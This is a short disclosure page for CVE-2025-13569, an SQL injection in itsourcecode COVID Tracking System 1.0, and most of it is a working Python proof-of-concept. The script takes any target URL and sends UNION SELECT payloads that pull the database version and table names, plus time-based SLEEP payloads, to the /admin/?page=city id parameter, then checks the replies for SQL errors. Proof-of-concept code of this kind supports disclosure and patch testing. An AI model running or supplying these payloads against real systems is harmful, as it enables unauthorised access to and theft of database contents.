CVE-2025-13569 itsourcecode COVID Tracking System 1.0 SQL注入漏洞

# CVE-2025-13569 SQL Injection PoC # Target: itsourcecode COVID Tracking System 1.0 # Endpoint: /admin/?page=city import requests import sys target = input("Enter target URL (e.g., http://target.com): ").rstrip('/') # SQL Injection payload examples payloads = [ "1' UNION SELECT NULL-- -", "1' UNION SELECT version()-- -", "1' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()-- -", "1' AND SLEEP(5)-- -", "1' AND (SELECT * FROM (SELECT SLEEP(5))a)-- -" ] print(f"\n[*] Testing SQL Injection on {target}/admin/?page=city\n") for i, payload in enumerate(payloads, 1): url = f"{target}/admin/?page=city&id={payload}" print(f"[{i}] Testing payload: {payload}") try: response = requests.get(url, timeout=10) print(f" Status: {response.status_code}") print(f" Length: {len(response.text)}") # Check for SQL error indicators sql_errors = ['mysql', 'sql syntax', 'warning', 'error in your sql'] for error in sql_errors: if error.lower() in response.text.lower(): print(f" [!] SQL Error detected: {error}") except requests.exceptions.RequestException as e: print(f" [!] Request failed: {e}") print() print("[*] PoC testing completed")